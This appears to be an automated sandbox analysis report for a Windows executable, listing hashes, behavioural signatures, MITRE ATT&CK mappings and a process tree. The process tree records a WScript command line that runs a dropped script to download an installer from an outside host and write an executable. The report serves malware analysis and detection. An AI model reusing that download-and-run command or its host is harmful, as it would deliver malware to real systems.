ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85

Analysis

max time kernel
44s
max time network
105s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
28-11-2022 01:46

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General

Target

ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85.exe
Size

184KB
MD5

01b77eacab9708d52cd5620b6b59d0f3
SHA1

c24f787ad41a0ba14d9b2e9f341f27e7676eb13c
SHA256

ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85
SHA512

5007177d0f316e0912dae1f730a121eee6dceda35d24ab8f4e7e0c20d5f84b5dc79bc3d3c386c4286db2c6b3ff49aa29fc5b481590d0fb0a01e38c4b92478a04
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3QY:/7BSH8zUB+nGESaaRvoB7FJNndnJY

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	932	WScript.exe
6	932	WScript.exe
8	932	WScript.exe
10	932	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1104 wrote to memory of 932	1104	ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85.exe	27
PID 1104 wrote to memory of 932	1104	ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85.exe	27
PID 1104 wrote to memory of 932	1104	ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85.exe	27
PID 1104 wrote to memory of 932	1104	ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85.exe	27

C:\Users\Admin\AppData\Local\Temp\ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85.exe
"C:\Users\Admin\AppData\Local\Temp\ad80354dc779bf0199295e4cbee2d81c360c9bf2bcca7fa0213857c3a9e7dc85.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf85B.js" http://www.djapp.info/?domain=fZZOrjBtTV.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf85B.exe
  2⤵
  - Blocklisted process makes network request
  PID:932

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf85B.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/932-55-0x0000000000000000-mapping.dmp

Download
memory/1104-54-0x0000000075BB1000-0x0000000075BB3000-memory.dmp

Filesize
8KB

Download